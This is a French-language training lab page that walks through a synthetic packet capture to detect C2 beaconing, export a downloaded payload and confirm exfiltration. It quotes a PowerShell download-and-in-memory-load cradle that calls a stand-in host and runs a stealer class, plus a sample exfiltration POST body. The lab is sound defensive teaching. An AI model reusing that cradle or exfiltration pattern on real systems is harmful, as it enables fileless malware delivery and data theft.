Synapse Consulting
Home SynapseRM / TPRM Services Pricing About BlogCareersLabsContact
EN · FR
Test access Book a demo

Forensic réseau · Beaconing C2 · PCAP · MITRE T1071.001

Le battement : repérer un beaconing C2 dans une capture

Après le foothold fileless, l'implant sur NORTHSEA-DEV a rappelé sa base. Vous avez la capture. Un malware qui beacone a un signe qu'aucun navigateur n'a : un métronome. Trouvez le C2, prouvez le battement, récupérez la charge téléchargée, et attrapez les données qui partent.

~45 minDurée estimée
Wireshark · tshark · tcpdumpOutils
T1071.001 · T1571 · T1041MITRE ATT&CK
★★★☆ IntermédiaireRéseauPCAP

L'échantillon

Fichierchallenge-08-c2-beacon.pcap
SHA-256783cf3544c4096a2c925293a1e9f1099962855cd5e18db7025c420cb9b329504
Taille28 paquets, Ethernet/IPv4
ContexteCapture en sortie de NORTHSEA-DEV (10.10.10.5)

Capture synthétique. Le C2 est en TEST-NET-3 (203.0.113.66) et résout un domaine .invalid, rien n'est contacté. Ouvrez dans Wireshark ou tshark.

1. Scénario

Un poste a été signalé pour un trafic sortant étrange. Vous recevez la capture en sortie de NORTHSEA-DEV. Quelque part dedans, un implant fait son check-in avec son C2 à intervalle fixe, la charge qu'il a récupérée, et les données qu'il a renvoyées.

Analysez la capture : identifiez le C2, prouvez le beacon, extrayez la charge, et confirmez l'exfiltration.

📡 Le beaconing, c'est un implant qui contacte son C2 à intervalle régulier pour recevoir des ordres. La régularité est le signal : un humain navigue de façon irrégulière, le malware garde le tempo.

2. Objectifs

3. Analyse pas à pas

1

Vue d'ensemble et conversations

tshark · tcpdump

Commencez large : quels protocoles, et qui parle à qui. Une seule IP externe portant presque tout le trafic est déjà suspecte.

bash
tshark -r challenge-08-c2-beacon.pcap -q -z conv,tcp
# ou avec tcpdump :
tcpdump -nqr challenge-08-c2-beacon.pcap | awk '{print $3" > "$5}' | sort | uniq -c
output
TCP Conversations
10.10.10.5:49512 <-> 203.0.113.66:80   frames 26   bytes ~2.9k
(+ une requête/réponse DNS vers 10.10.10.1)

💡 Une seule session TCP longue vers une IP externe sur le port 80, portant des petites requêtes répétées, c'est la forme d'un beacon, pas d'une personne qui navigue.

2

Identifier le C2

DNS + HTTP host

Résolvez la destination en nom et confirmez avec l'en-tête HTTP Host.

bash
tshark -r challenge-08-c2-beacon.pcap -Y dns -T fields -e dns.qry.name -e dns.a
tshark -r challenge-08-c2-beacon.pcap -Y http.request -T fields -e http.host -e http.request.full_uri
output
stage2-cdn.example.invalid    203.0.113.66
stage2-cdn.example.invalid    http://stage2-cdn.example.invalid/a.ps1
stage2-cdn.example.invalid    http://stage2-cdn.example.invalid/gate.php?id=8f2c1a9d&s=1
...

🔴 Le C2 est stage2-cdn.example.invalid à 203.0.113.66, le même hôte stage-2 que le lab fileless #07. Tous les check-ins tapent /gate.php.

3

Prouver le beacon

timestamps des requêtes

Listez les requêtes de check-in avec leur temps relatif, puis regardez les écarts.

bash
tshark -r challenge-08-c2-beacon.pcap \
  -Y 'http.request.uri contains "gate.php"' \
  -T fields -e frame.time_relative -e http.request.uri
output
30.000000   /gate.php?id=8f2c1a9d&s=1
60.000000   /gate.php?id=8f2c1a9d&s=2
90.000000   /gate.php?id=8f2c1a9d&s=3

⏰ Un check-in toutes les 30 secondes, pile. Un intervalle fixe (ici sans jitter) est la signature classique du beacon. Les vrais implants ajoutent souvent du jitter : cherchez des intervalles presque réguliers, pas seulement exacts.

4

Exporter la charge téléchargée

export d'objets http

La première requête a récupéré un fichier. Exportez les objets HTTP et lisez ce que le C2 a servi.

bash
tshark -r challenge-08-c2-beacon.pcap --export-objects http,./objects
cat ./objects/a.ps1
output
$u='http://stage2-cdn.example.invalid/payload.dat';(New-Object Net.WebClient).DownloadFile($u,...);
[Reflection.Assembly]::Load([IO.File]::ReadAllBytes(...));[NSD.Stealer]::Run()

📥 Le /a.ps1 servi est exactement le cradle stage-2 du lab fileless #07 : il charge une assembly en mémoire et exécute [NSD.Stealer]::Run(). La capture réseau et les logs hôte se corroborent.

5

Attraper l'exfiltration

http.request POST

Les beacons sont petits. Un seul upload bien plus gros ressort : c'est généralement les données qui partent.

bash
tshark -r challenge-08-c2-beacon.pcap -Y 'http.request.method=="POST"' \
  -T fields -e http.request.full_uri -e http.content_length
output
http://stage2-cdn.example.invalid/upload    1010
body: host=NORTHSEA-DEV&user=alex&data=QUxFWDpO...(base64)

✅ Un POST /upload d'environ 1 Ko, écrasant les réponses de beacon de 2 octets, portant host=NORTHSEA-DEV&user=alex&data=.... C'est de l'exfiltration sur le canal C2 (T1041), les données volées qui partent.

5. Détection

4. Synthèse IOC et ATT&CK

TypeValeurATT&CK
Hôte C2stage2-cdn.example.invalid / 203.0.113.66:80T1071.001
BeaconGET /gate.php toutes les 30s (fixe)T1071.001
Charge/a.ps1 loader en mémoire (voir #07)T1105
ExfiltrationPOST /upload, host+user+data (base64)T1041
User-AgentUA PowerShell/5.1 sur le port 80T1071.001

6. Références

MITRE T1071.001, Web Protocols

Commande et contrôle sur HTTP/S, dont le beaconing.

MITRE T1041, Exfiltration Over C2 Channel

Renvoi des données volées sur la même connexion C2.

Guide utilisateur Wireshark

Filtrer, suivre les flux et exporter les objets d'une capture.

Détection de beaconing, Active Countermeasures (RITA)

Détection statistique de beacon sur la télémétrie réseau.

Environnement entièrement fictif, à usage éducatif uniquement. Le C2 est une adresse TEST-NET et un domaine .invalid non résoluble.

Synapse Consulting

A Belgium-based provider of cybersecurity solutions, and the team behind SynapseRM / TPRM.

PLATFORM
SynapseRM / TPRM Pricing Test accessPresentation (PDF)
SERVICES
Governance Operational Training
COMPANY
About Contact Blog Labs Careers Privacy & cookies
Brussels, Belgium